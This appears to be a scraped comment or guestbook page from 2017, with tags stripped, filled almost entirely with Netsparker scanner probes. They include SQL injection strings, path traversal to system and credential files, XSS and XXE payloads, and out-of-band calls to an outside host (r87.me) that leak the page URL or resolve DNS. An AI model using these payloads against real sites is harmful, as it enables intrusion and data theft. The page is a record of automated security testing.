\r\n 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n '+netsparker(0x003E56)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E54);\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache2/error.log\r\n

\r\n
\r\n

1 WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E52)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error_log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n 127.100.11.2/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

' WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n 54.204.37.212/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n testsparker.com/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n %27\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n http://testsparker.com/elmah\r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz\"+\"itg.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v\"+\"nwu.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n 127.0.0.1/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ',netsparker(0x003E50),'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/iis6.log\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n ::1/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 127.100.11.2/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \\';netsparker(0x003E4E);///\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n c:\\windows\\win.ini\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t\"+\"lty.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \"+netsparker(0x003E4C)+\"\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\u0000.aspx\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh\"+\"dhq.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n file:/windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n '+netsparker(0x003E4A)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 54.204.37.212/elmah.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n testsparker.com/elmah.axd\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n /../../../../../../../../../../web.config\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n */netsparker(0x003E48);/*\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n http://testsparker.com/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n c%3a%5cboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n file%3a%2fboot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n body{x:expression(netsparker(0x003E46))}\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n n;ns:expression(netsparker(0x003E44));\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 127.0.0.1/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n <%a style=x:expre/**/ssion(netsparker(0x003E42))>\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n ::1/trace.axd\r\n

\r\n
\r\n

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n javascript:netsparker(0x003E3E)\r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n c:\\boot.ini\r\n

\r\n
\r\n

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n file:/boot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 127.100.11.2/trace.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 54.204.37.212/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n testsparker.com/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n http://testsparker.com/trace.axd\r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \">\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n https://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n '>\r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n //r87.com/n/j/?0x003E36\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n //r87.com/n/n.css?0x003E34\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n http://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n testsparker.com.r87.com/?\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n 1 ns=netsparker(0x003E2A)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n ///r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n '\" ns=netsparker(0x003E28)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /\\r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n r87.com/?https://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com
